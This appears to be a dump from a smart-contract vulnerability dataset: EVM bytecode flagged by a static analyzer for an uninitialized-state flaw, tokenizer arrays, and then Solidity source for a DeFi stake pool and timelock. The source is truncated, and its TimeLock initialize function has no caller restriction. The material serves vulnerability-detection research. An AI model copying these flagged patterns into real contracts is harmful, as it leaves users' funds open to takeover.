01906020018083116109a857829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610b5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116f8565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c24600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116f8565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ced600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610913565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b60075481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110625780601f1061103757610100808354040283529160200191611062565b820191906000526020600020905b81548152906001019060200180831161104557829003601f168201915b505050505081565b60006110b5600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116f8565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611141600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610913565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b600082600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113d65780820151818401526020810190506113bb565b50505050905090810190601f1680156114035780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561142557600080fd5b505af1158015611439573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114cb57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561158f57600080fd5b505af11580156115a3573d6000803e3d6000fd5b505050506040513d60208110156115b957600080fd5b8101908080519060200190929190505050905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561170957600080fd5b8183039050929150505600a165627a7a723058209f80c1613fc963a3332b7f34519b4de699d62e677a2ee951d0ecf9b537f26fd70029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
14141,
2278,
2549,
2050,
2620,
16576,
2094,
2683,
27009,
26337,
2546,
2629,
2278,
26337,
22394,
2278,
2683,
19961,
2549,
2546,
14141,
2094,
20842,
2629,
16336,
2094,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
12118,
2034,
4923,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,499 | 0x953dfcd5fd9b04e3a11594ed90dfde7e7c1168ca | // SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma abicoder v2;
pragma solidity >=0.7.6;
interface IStakePoolCreator {
function version() external returns (uint256);
function create() external returns (address);
function initialize(
address poolAddress,
address pair,
address rewardToken,
address timelock,
address stakePoolRewardFund,
bytes calldata data
) external;
}
interface IValueLiquidRouter {
struct Swap {
address pool;
address tokenIn;
address tokenOut;
uint256 swapAmount; // tokenInAmount / tokenOutAmount
uint256 limitReturnAmount; // minAmountOut / maxAmountIn
uint256 maxPrice;
bool isBPool;
}
function factory() external view returns (address);
function controller() external view returns (address);
function formula() external view returns (address);
function WETH() external view returns (address);
function addLiquidity(
address pair,
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address pair,
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokens(
address tokenIn,
address tokenOut,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
address tokenIn,
address tokenOut,
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
address tokenOut,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
address tokenIn,
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
address tokenIn,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
address tokenOut,
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external payable returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
address tokenIn,
address tokenOut,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
address tokenOut,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
address tokenIn,
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
uint8 flag
) external;
function addStakeLiquidity(
address stakePool,
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addStakeLiquidityETH(
address stakePool,
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function multihopBatchSwapExactIn(
Swap[][] memory swapSequences,
address tokenIn,
address tokenOut,
uint256 totalAmountIn,
uint256 minTotalAmountOut,
uint256 deadline,
uint8 flag
) external payable returns (uint256 totalAmountOut);
function multihopBatchSwapExactOut(
Swap[][] memory swapSequences,
address tokenIn,
address tokenOut,
uint256 maxTotalAmountIn,
uint256 deadline,
uint8 flag
) external payable returns (uint256 totalAmountIn);
function createPair(
address tokenA,
address tokenB,
uint256 amountA,
uint256 amountB,
uint32 tokenWeightA,
uint32 swapFee,
address to,
uint8 flag
) external returns (uint256 liquidity);
function createPairETH(
address token,
uint256 amountToken,
uint32 tokenWeight,
uint32 swapFee,
address to,
uint8 flag
) external payable returns (uint256 liquidity);
}
interface IValueLiquidFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint32 tokenWeight0, uint32 swapFee, uint256);
function feeTo() external view returns (address);
function formula() external view returns (address);
function protocolFee() external view returns (uint256);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB,
uint32 tokenWeightA,
uint32 swapFee
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function isPair(address) external view returns (bool);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB,
uint32 tokenWeightA,
uint32 swapFee
) external returns (address pair);
function getWeightsAndSwapFee(address pair)
external
view
returns (
uint32 tokenWeight0,
uint32 tokenWeight1,
uint32 swapFee
);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setProtocolFee(uint256) external;
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: APPROVE_FAILED");
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED");
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FROM_FAILED");
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, "TransferHelper: ETH_TRANSFER_FAILED");
}
}
interface IValueLiquidPair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event PaidProtocolFee(uint112 collectedFee0, uint112 collectedFee1);
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function getCollectedFees() external view returns (uint112 _collectedFee0, uint112 _collectedFee1);
function getTokenWeights() external view returns (uint32 tokenWeight0, uint32 tokenWeight1);
function getSwapFee() external view returns (uint32);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(
address,
address,
uint32,
uint32
) external;
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0, "ds-math-division-by-zero");
c = a / b;
}
}
contract TimeLock {
using SafeMath for uint256;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant MINIMUM_DELAY = 1 days;
uint256 public constant MAXIMUM_DELAY = 30 days;
bool private _initialized;
address public admin;
address public pendingAdmin;
uint256 public delay;
bool public admin_initialized;
mapping(bytes32 => bool) public queuedTransactions;
constructor() {
admin_initialized = false;
_initialized = false;
}
function initialize(address _admin, uint256 _delay) public {
require(_initialized == false, "Timelock::constructor: Initialized must be false.");
require(_delay >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(_delay <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = _delay;
admin = _admin;
_initialized = true;
emit NewAdmin(admin);
emit NewDelay(delay);
}
receive() external payable {}
function setDelay(uint256 _delay) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(_delay >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(_delay <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = _delay;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address _pendingAdmin) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin.");
admin_initialized = true;
}
pendingAdmin = _pendingAdmin;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
return block.timestamp;
}
}
interface IEpochController {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function nextEpochLength() external view returns (uint256);
function nextEpochAllocatedReward(address _pool) external view returns (uint256);
}
interface IStakePoolEpochReward {
event AllocateReward(uint256 blocktime, uint256 amount);
event Deposit(address indexed account, uint256 amount);
event PayRewardPool(
uint256 indexed poolId,
address indexed rewardToken,
address indexed account,
uint256 pendingReward,
uint256 rebaseAmount,
uint256 paidReward
);
event Withdraw(address indexed account, uint256 amount);
function version() external view returns (uint256);
function pair() external view returns (address);
function rewardToken() external view returns (address);
function rewardFund() external view returns (address);
function epochController() external view returns (address);
function allowRecoverRewardToken(address _token) external view returns (bool);
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function nextEpochLength() external view returns (uint256);
function nextEpochAllocatedReward() external view returns (uint256);
function earned(address _account) external view returns (uint256);
function unlockWithdrawEpoch(address _account) external view returns (uint256);
function unlockRewardEpoch(address _account) external view returns (uint256);
function stake(uint256) external;
function stakeFor(address _account) external;
function withdraw(uint256) external;
function claimReward() external;
function emergencyWithdraw() external;
function setEpochController(address) external;
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external;
function allocateReward(uint256 _amount) external;
function removeLiquidity(
address provider,
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address provider,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address provider,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
}
interface IValueLiquidProvider {
function factory() external view returns (address);
function controller() external view returns (address);
function formula() external view returns (address);
function WETH() external view returns (address);
function removeLiquidity(
address pair,
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address pair,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address pair,
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address pair,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address pair,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address pair,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function stake(
address stakePool,
uint256 amount,
uint256 deadline
) external;
function stakeWithPermit(
address stakePool,
uint256 amount,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
interface IStakePoolController {
event MasterCreated(address indexed farm, address indexed pair, uint256 version, address timelock, address stakePoolRewardFund, uint256 totalStakePool);
event SetWhitelistStakingFor(address indexed contractAddress, bool value);
event SetWhitelistStakePool(address indexed contractAddress, int8 value);
event SetStakePoolCreator(address indexed contractAddress, uint256 verion);
event SetWhitelistRewardRebaser(address indexed contractAddress, bool value);
event SetWhitelistRewardMultiplier(address indexed contractAddress, bool value);
event SetStakePoolVerifier(address indexed contractAddress, bool value);
event ChangeGovernance(address indexed governance);
event SetFeeCollector(address indexed feeCollector);
event SetFeeToken(address indexed token);
event SetFeeAmount(uint256 indexed amount);
function allStakePools(uint256) external view returns (address stakePool);
function isStakePool(address contractAddress) external view returns (bool);
function isStakePoolVerifier(address contractAddress) external view returns (bool);
function isWhitelistStakingFor(address contractAddress) external view returns (bool);
function isWhitelistStakePool(address contractAddress) external view returns (int8);
function setStakePoolVerifier(address contractAddress, bool state) external;
function setWhitelistStakingFor(address contractAddress, bool state) external;
function setWhitelistStakePool(address contractAddress, int8 state) external;
function addStakePoolCreator(address contractAddress) external;
function isWhitelistRewardRebaser(address contractAddress) external view returns (bool);
function isAllowEmergencyWithdrawStakePool(address _address) external view returns (bool);
function setWhitelistRewardRebaser(address contractAddress, bool state) external;
function isWhitelistRewardMultiplier(address contractAddress) external view returns (bool);
function setAllowEmergencyWithdrawStakePool(address _address, bool state) external;
function setWhitelistRewardMultiplier(address contractAddress, bool state) external;
function setEnableWhitelistRewardRebaser(bool value) external;
function setEnableWhitelistRewardMultiplier(bool value) external;
function allStakePoolsLength() external view returns (uint256);
function create(
uint256 version,
address pair,
address rewardToken,
uint256 rewardFundAmount,
uint256 delayTimeLock,
bytes calldata data,
uint8 flag
) external returns (address);
function createPair(
uint256 version,
address tokenA,
address tokenB,
uint32 tokenWeightA,
uint32 swapFee,
address rewardToken,
uint256 rewardFundAmount,
uint256 delayTimeLock,
bytes calldata poolRewardInfo,
uint8 flag
) external returns (address);
function setGovernance(address) external;
function setFeeCollector(address _address) external;
function setFeeToken(address _token) external;
function setFeeAmount(uint256 _token) external;
}
interface IStakePoolRewardRebaser {
function getRebaseAmount(address rewardToken, uint256 baseAmount) external view returns (uint256);
}
interface IStakePoolRewardMultiplier {
function getRewardMultiplier(
uint256 _start,
uint256 _end,
uint256 _from,
uint256 _to,
uint256 _rewardPerBlock
) external view returns (uint256);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IStakePoolRewardFund {
function initialize(address _stakePool, address _timelock) external;
function safeTransfer(
address _token,
address _to,
uint256 _value
) external;
}
// This implements BPool contract, and allows for generalized staking, yield farming (by epoch), and token distribution.
contract StakePoolEpochReward is IStakePoolEpochReward {
using SafeMath for uint256;
uint256 public override version;
/* ========== DATA STRUCTURES ========== */
struct UserInfo {
uint256 amount;
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct Snapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
/* ========== STATE VARIABLES ========== */
address public override epochController;
address public override rewardToken;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
mapping(address => UserInfo) public userInfo;
Snapshot[] public snapshotHistory;
address public override pair;
address public override rewardFund;
address public timelock;
address public controller;
uint256 public balance;
uint256 private _unlocked = 1;
bool private _initialized = false;
uint256 public constant BLOCKS_PER_DAY = 6528;
constructor(address _controller, uint256 _version) {
controller = _controller;
timelock = msg.sender;
version = _version;
Snapshot memory genesisSnapshot = Snapshot({time: block.number, rewardReceived: 0, rewardPerShare: 0});
snapshotHistory.push(genesisSnapshot);
}
modifier lock() {
require(_unlocked == 1, "StakePoolEpochReward: LOCKED");
_unlocked = 0;
_;
_unlocked = 1;
}
modifier onlyTimeLock() {
require(msg.sender == timelock, "StakePoolEpochReward: !timelock");
_;
}
modifier onlyEpochController() {
require(msg.sender == epochController, "StakePoolEpochReward: !epochController");
_;
}
modifier updateReward(address _account) {
if (_account != address(0)) {
UserInfo storage user = userInfo[_account];
user.rewardEarned = earned(_account);
user.lastSnapshotIndex = latestSnapshotIndex();
}
_;
}
// called once by the factory at time of deployment
function initialize(
address _pair,
address _rewardFund,
address _timelock,
address _epochController,
address _rewardToken,
uint256 _withdrawLockupEpochs,
uint256 _rewardLockupEpochs
) external {
require(_initialized == false, "StakePoolEpochReward: Initialize must be false.");
pair = _pair;
rewardToken = _rewardToken;
rewardFund = _rewardFund;
setEpochController(_epochController);
setLockUp(_withdrawLockupEpochs, _rewardLockupEpochs);
timelock = _timelock;
_initialized = true;
}
/* ========== GOVERNANCE ========== */
function setEpochController(address _epochController) public override lock onlyTimeLock {
epochController = _epochController;
epoch();
nextEpochPoint();
nextEpochLength();
nextEpochAllocatedReward();
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) public override lock onlyTimeLock {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
function allocateReward(uint256 _amount) external override lock onlyEpochController {
require(_amount > 0, "StakePoolEpochReward: Cannot allocate 0");
